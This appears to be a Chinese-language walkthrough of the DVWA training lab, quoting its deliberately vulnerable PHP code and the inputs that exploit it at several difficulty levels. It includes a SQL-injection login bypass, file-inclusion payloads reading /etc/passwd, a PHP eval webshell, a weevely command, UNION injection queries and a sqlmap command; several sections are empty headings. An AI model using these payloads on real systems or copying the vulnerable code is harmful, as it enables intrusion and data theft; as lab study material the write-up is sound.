1.暴力破解
LOW
开发人员完全错过了任何保护方法,允许任何人尝试任意次数尝试登录任何用户而不会造成任何影响。
php代码如下
<?php
if(isset($_GET['Login'])){
//Get username
$user=$_GET['username'];
//Get password
$pass=$_GET['password'];
$pass=md5($pass);
//Check the database
$query="SELECT * FROM `users` WHERE user='$user' AND password= '$pass';";
$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
if($result && mysql_num_rows($result)==1){
//Get users details
$avatar=mysql_result($result,0,"avatar");
//Login successful
echo"<p>Welcome to the password protected area{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
echo"<pre><br/>Username and / or password incorrect.</pre>";
}
mysql_close();
}
?>
方法:
自己写脚本
burpsuite
输入密码很明显发现参数是以GET方法传输的,并且输入的密码以明文的方式传输的,所以只需要使用burpsuite暴力破解即可
sql注入漏洞
在帐号框中输入:
admin' #
密码为空
Medium
此阶段在失败的登录屏幕上增加了睡眠。这意味着当您错误登录时,将需要等待额外的两秒钟才能看到页面。
这只会减慢一分钟可处理的请求数量,从而使暴力破解的时间更长。
High
已经使用了“反跨站请求伪造(CSRF)令牌”。有一个古老的神话认为,这种保护将阻止暴力攻击。不是这种情况。通过在登录失败时等待,该级别也扩展到中级级别,但这一次是2到4秒之间的随机时间。这样的想法是试图混淆任何时序预测。
使用CAPTCHA表格可能具有与CSRF令牌类似的效果。
Impossible
2.Command Injection
LOW
代码如下
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
Medium
High
Impossible
3.CSRF
LOW
Medium
High
Impossible
4.文件包含
服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。
LOW
代码很简单,主要代码为
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
没有任何防护,所以可以用很多方法利用文件包含漏洞
简单构造
/?page=/etc/passwd
远程文件包含
漏洞利用条件:allow_url_include = on
/?page=http://payload.php
本地文件包含
/?page=../../../../../etc/passwd
利用file://协议
/?page=file:///etc/passwd
利用php://协议
/?page=php://filter/read/convert.base64-encode/resource=../../../../../etc/passwd
Medium
核心代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
过滤了../
http://
https://
..\
但是还可以通过
双写替换绕过
使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。
/?page=htthttps://ps://www.baidu.com
使用file://
/?page=file:///etc/passwd
使用php://
php://filter/read=convert.base64-encode/resource=/etc/passwd
进行文件包含漏洞
High
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
fnmatch是一种函数,功能是指定的模式来匹配文件名或字符串。
可以看到,High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。fnmatch是一种函数,功能是指定的模式来匹配文件名或字符串。
这时候第一时间想到的是file协议了
使用file协议
?page=file:///etc/passwd
利用文件上传漏洞,上传文件名以file开头的webshell文件,再利用文件包含漏洞
Impossible
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞
5.文件上传
由于存在此文件上传漏洞,因此可以在目标系统上执行您选择的任何PHP函数(例如phpinfo() 或system())。
LOW
代码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
低级别将不会以任何方式检查正在上传的文件的内容。它仅依赖于信任。
只要上传任何包含命令的有效PHP文件即可。
上传方法
中国蚁剑
先写一个php的webshell
<?php eval($_POST['ant']); ?>
weevely
使用weevely生成webshell
weevely generate 905008 ~/Templates/ant.php
Medium
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
我们看到中等级就相对严密了很多,它对文件的类型和大小做了明确的限制。
(uploaded_type == “image/jpeg” || uploaded_type == “image/png” ) &&
($uploaded_size < 100000)
限定了格式为image/jpeg或是png 大小小于100000字节的文件才能上传,而这个问题我们抓包就可以解决。
打开burpsuit, 我们拦一下上传包,改一下他的上传格式,绕过拦截。
然后我们发现上传成功,源文件里也确实上传成功了。
High
Impossible
6.Insecure CAPTCHA
LOW
Medium
High
Impossible
7.sql注入
LOW
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
简单检查是否存在sql漏洞
?id=1'&Submit=Submit#
报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
查字段
哈哈,存在漏洞,先来测试这里查询了几个字段
?id=1%27+union+select+1%2C2+%23&Submit=Submit#
知道了前面查询了两个字段
查数据库
现在来看一下这个位于哪个数据库:
id=1' union select 1,group_concat(schema_name) from information_schema.schemata where schema_name=database()&Submit=Submit#
查数据表
我们看看这个dvwa数据库里面有哪些表吧:
?id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&Submit=Submit#
Medium
我们在Dvwa上可以看到这是一个下拉选择栏,只能选择相应的id,并且是用的post方法,所以我们可以试试sqlmap的post注入
打开Burpsuite
抓包
![sqlmap]ced041aaa909c8cb2e396fa7.png)
查属性
让我们看看这个数据库有哪些属性:
?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()&Submit=Submit#
Medium
我们在Dvwa上可以看到这是一个下拉选择栏,只能选择相应的id,并且是用的post方法,所以我们可以试试sqlmap的post注入
打开Burpsuite
抓包
鼠标选择右键点击Copy to file这个选项,我这里保存为dvwa_1这个文本文件
sqlmap注入
打开terminal
输入
sqlmap -r '/home/hsm/Downloads/dvwa_1' --dbs
过了一会,爆出数据库:
成功实现sql注入
所以中等级别的安全行也太低了